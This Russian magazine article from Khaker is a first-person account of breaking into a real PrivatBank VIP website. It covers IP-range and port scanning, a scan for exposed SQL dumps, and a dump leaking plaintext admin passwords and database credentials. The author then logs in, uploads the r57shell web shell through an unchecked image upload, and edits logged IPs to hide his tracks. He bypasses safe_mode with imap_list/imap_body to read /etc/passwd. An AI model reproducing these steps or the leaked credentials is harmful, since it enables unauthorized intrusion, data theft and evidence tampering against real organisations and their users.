Там, где VIP нога ступалаfurang «furiousangel» Хакер, номер #116, стр. 116-062-1 В гостях у ПриватбанкаКазалось бы, на важных ресурсах все должно работать, как часы, ан нет – и на них встречаются непростительные ошибки, которые приводят к плачевному исходу. Исходу, заставляющему админов колотиться головой о клаву, а хакеров – потешаться над ресурсом. На этот раз под прицел попал privatbankvip.com.ua. Как говорится на сайте, «ПриватБанкVIP» создан для предоставления рекомендаций по посещению сети предприятий, соответствующих высокому статусу элитных заведений Украины и России. Дает право пользования привилегированными тарифами при оплате платежными картами ПриватБанка, МоскомПриватБанка и ПриватИнвеста. ПристреливаемсяСайт выглядит довольно просто – минимум красок, flash-анимация, самописный движок форума. На первый взгляд придраться не к чему. Полазив по ссылкам, я попробовал заюзать различные SQL-инъекции типа: http://privatbankvip.com.ua/inpage.php?pn=11, но везде меня ждал облом. Нештатные ситуации обрабатывались нормально. Никакого ворнинга не выскочило. Искать досконально, признаюсь, было лень. Следующий шаг подразумевал обратиться за помощью к domainsdb. Вбил privatbankvip.com.ua. Сухой ответ гласил: «0 доменов». «found 0 domain entrys on NS:privatbankvip.com.ua» Досадно, но переживем. Идем дальше. Я резолвнул IP-адрес privatbankvip.com.ua (217.117.74.152), и в голову пришла привычная мысль просканить весь диапазон 217.117.74.*. Вот результат: 217.117.74.2 : ns01.privat-online.net (.NET | Network) 217.117.74.6 : hub.privat-online.net (.NET | Network) 217.117.74.18 : mail.duep.edu (.EDU | US Educational) 217.117.74.34 : kross.duep.edu (.EDU | US Educational) 217.117.74.40 : mail.tez.dp.ua (.UA | Ukraine) 217.117.74.42 : mail.prostocredit.com (.COM | US Commercial) 217.117.74.43 : mail.slav-registr.dp.ua (.UA | Ukraine) 217.117.74.65 : dpf.foxtrot.dp.ua (.UA | Ukraine) 217.117.74.70 : hosting.privat-online.net (.NET | Network) 217.117.74.82 : mail.74-82.privat-online.net (.NET | Network) 217.117.74.97 : mail.dmz-petrovka.dp.ua (.UA | Ukraine) 217.117.74.152 : privatbankvip.com.ua (.UA | Ukraine) 217.117.74.160 : fw.dnipro.fxclub.org (.ORG | Non-Profit Organization) Уже что-то. Обратил внимание на 217.117.74.70: hosting.privat-online.net. Слово «хостинг» в имени домена звучало многообещающе. После беглого осмотра hosting.privat-online.net на нем была обнаружена потенциальная угроза SQL-инъекции: http://hosting.privat-online.net/news.php?id='2. И опять попытка не увенчалась успехом. Да, это был слепой SQL. Да, вылез warning. Но поигравши с параметром id, я так и не смог добиться чего-либо серьезного. Нужен был другой подход (на остальных хостах ничего полезного для взлома тоже не оказалось). Я уже было отчаялся, но тут у меня возникла вполне здоровая мысль просканировать порты. Что и было сделано. Port 21 (ftp) ... Ok ! (port 21 - File Transfer [Control]) Port 110 (pop3) ... Ok ! (port 110 - Post Office Protocol - Version 3) Port 25 (smtp) ... Ok ! (port 25 - Simple Mail Transfer) Port 119 (nntp) ... Ok ! (port 119 - Network News Transfer Protocol) Port 80 (http-www) ... Ok ! (port 80 - World Wide Web HTTP) В принципе, ничего интересного, кроме ftp-сервера. Для пущей радости я попробовал посмотреть что внутри и... 230 access granted for anonymous. Надежды и новые разочарованияСервер без проблем пускал внутрь под анонимом. В корне FTP была папка pub, а в ней – папки Remote Administrator 2.1 и usergate. Что в них находилось – нетрудно догадаться. Увы, толку все равно было мало. Залить в каталоги ничего нельзя. Идеи кончились. Зато сам факт захода на сервер вселял в меня надежду, что стоит еще поискать баги. Я стукнул в асю к моему приятелю и рассказал про итоги пока что неудачного взлома. Он предложил воспользоваться сканером для поиска багов. Под рукой ничего подходящего у меня не было, а кодить – лениво. Пришлось позаимствовать у друга. Через пару минут на мыло пришел архивчик, который содержал небольшой сканер, написанный на перле. А также баг-лист. Задумано – сделано. После непродолжительной работы сканер обнаружил интересные каталоги: privatbankvip.com.ua/user/ privatbankvip.com.ua/news/ privatbankvip.com.ua/manual/ privatbankvip.com.ua/logs/ privatbankvip.com.ua/info/ privatbankvip.com.ua/inc/ privatbankvip.com.ua/img/ privatbankvip.com.ua/forum/ privatbankvip.com.ua/phpmyadmin/lang/ privatbankvip.com.ua/pma/ Ничего любопытного, кроме phpmyadmin'а. Меня удивило, что не нашлась админка (в том, что она должна быть, я не сомневался). Тогда я сам попробовал вбить privatbankvip.com.ua/admin.php – вот и она! Но тут меня спрашивали о каком-то пароле, которого я не знал. Взлом с продолжениемВсе бы, наверное, на этом и закончилось, и смысла в статье было бы ноль, если бы через полторы недели я не вспомнил о «незавершенном деле». После небольшого трепа по аське все с тем же приятелем пришла «коллективная» мысль поискать на сайте дампы баз. Глупо, конечно, но все же... Вручную искать – не по-хакерски, поэтому в ход снова пошел сканер. Только пришлось создать новую базу баг-листа. Представлю ее ключевой фрагмент. /db.sql /dump.sql /base.sql /bank.sql /privat.sql /privatbank.sql /privatbankvip.sql /privatbankvip.com.sql /privatbankvip.com.ua.sql Итак! Запуск и ожидание! Когда сканер выплюнул результат, я чуть не подавился котлетой (а как ты хотел, каждый уважающий себя хакер ест прямо за компом). http://privatbankvip.com.ua/privatbankvip.sql Быстро вбив найденный URL в адресную строку оперы, я стал ждать заветной фразы «Документ не найден». Но браузер выдал мне страницу такого содержания: -- MySQL dump 10.9 -- -- Host: localhost Database: privatbankvip -- ------------------------------------------------------ -- Server version 4.1.9-log /*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; /*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; /*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE="NO_AUTO_VALUE_ON_ZERO,MYSQL323" */; -- -- Table structure for table `vct_a` -- DROP TABLE IF EXISTS `vct_a`; CREATE TABLE `vct_a` ( `id` int(10) unsigned NOT NULL auto_increment, `folder` int(10) unsigned NOT NULL default '0', `name` varchar(100) NOT NULL default '', `date` int(10) unsigned NOT NULL default '0', PRIMARY KEY (`id`), KEY `folder` (`folder`) ) TYPE=MyISAM; .................... Удача! Вот он, дамп! Чуть ниже было: /*!40000 ALTER TABLE `vct_access` DISABLE KEYS */; LOCK TABLES `vct_access` WRITE; INSERT INTO `vct_access` VALUES ('sergey_r','90993829ax',1146745144,'10.1.111.105','1111111111111111'), ('serg1994','97130ecd',1123567700,'10.1.111.134','111111111111110'), ('tosha','saburban33',1145012488,'195.248.163.246','1111111111111111'), ('dima_p','ea94a14b',1146749816,'10.1.111.105','111111111111110'), ('natali','f6a8f1dd',1146745660,'10.1.111.95','000000000001000'); UNLOCK TABLES; /*!40000 ALTER TABLE `vct_access` ENABLE KEYS */; А внутри...Я не верил своим глазам: банковские аккаунты в открытом виде! Я моментом написал коллеге о находке. Пара логин:пасс «sergey_r:90993829ax» давала право на вход в админку, представляющую собой скудную возможность редактирования страниц сайта через взаимодействие с базой. В информационном разделе предлагалось добавить статью и установить картинку. Кликнув на кнопку «ОБЗОР», я быстро нашел в дебрях своего винта знаменитый шелл от RST r57shell и нажал «сохранить». Все прошло без запинки. Расширение «картинки» не проверялось. По приглашению «добавить еще статью» я понял, что шелл залился, осталось только найти куда. Я обратил внимание, что список увеличился и кликнул по новому элементу. Тут сразу бросилась в глаза надпись «рисунок» (вместо картинки, как полагалось). Скопировав адрес «рисунка» http://privatbankvip.com.ua/img/user/vcg_user353.php и вбив его в строку браузера, я мог лицезреть полноценный шелл! Как выяснилось позже, сервер крутился на FreeBSD 6.2 да и еще safe_mod=ON, так что на права рута можно было не надеяться (впрочем, мне они были и не нужны). Я порыскал по файлам и все-таки нашел параметры mysql_connect(). $sqlbase='privatbankvip'; $sqlhost='localhost'; $sqllogin='privatbankvip'; $sqlpass='privatvip'; Потом залил на сервер sql.php. Мне просто хотелось взглянуть на их базы. Первым делом зашел в таблицу vct_access, так как, судя по имени столбца lastip, можно было предположить, что здесь хранится последний IP, с которого заходили пользователи. Так и есть. Не будем же оставлять в логах мой «проксик». Поэтому – бережно пофиксил IP из дампа. Больше ничего стоящего на глаза не попалось. Порыскав по файлам и директориям и слив все, что вызвало интерес, я с сожалением для себя обнаружил, что выше /var/www/privatbankvip подняться невозможно. Жаль. Наверняка, там тоже было, чем поживиться. Тогда я вспомнил про обход ограничений safe_mode с помощью imap_list. Вставив в качестве пути «/var/www/», я нажал «проверить». Через 15 секунд моему взору открылся слепок файлов и каталогов /var/www/ с их подкаталогами. Если работал imap_list, то была высока вероятность, что получится прочитать любой файл с помощью imap_body. Я подставил /etc/passwd, нажал «проверить» – и вскоре передо мной был /etc/passwd. Теперь у меня была возможность читать почти любой файл на сервере, зная его полный путь (что не так уж и мало, при условии, что у меня были полные пути всех файлов из /var/www/). А вот и кусок заветного /etc/passwd: # $FreeBSD: src/etc/master.passwd,v 1.39 2004/08/01 21:33:47 markm Exp $ # root:*:0:0:Charlie &:/root:/bin/csh toor:*:0:0:Bourne-again Superuser:/root: dimka:*:1002:20:User &:/home/dimka:/bin/sh adk:*:1000:1000::/usr/local/www/adk:/bin/sh webmin:*:1003:1001:Administrator WEBMIN:/www/webmin:/bin/sh oleg421:*:1004:1002::/www/oleg421:/bin/sh pconsult:*:1005:1003:Приват Консалтинг:/www/pconsult:/bin/sh ...... P.S.Взлом был совершен в прошлом году. Но, как ни странно, и почти год спустя удалось повторить тот же «подвиг». Ничего не изменилось! О чем думают админы, можно только догадываться. Это учитывая, что я их предупредил... WARNINGВся информация выложена с целью указать на элементарные ошибки и не может расцениваться как призыв к действию. Ни автор статьи, ни редакторы журнала не несут ответственность за то, что ты можешь сотворить. INFOДовольно часто имя ресурса (указанное полностью или частично) является «ключом» к самому ресурсу. Например, – имя дампа и логин:пасс к БД. VIDEOКак всегда, на нашем диске ты найдешь живое видео по взлому. Если по тексту что не ясно, то просим к просмотру. |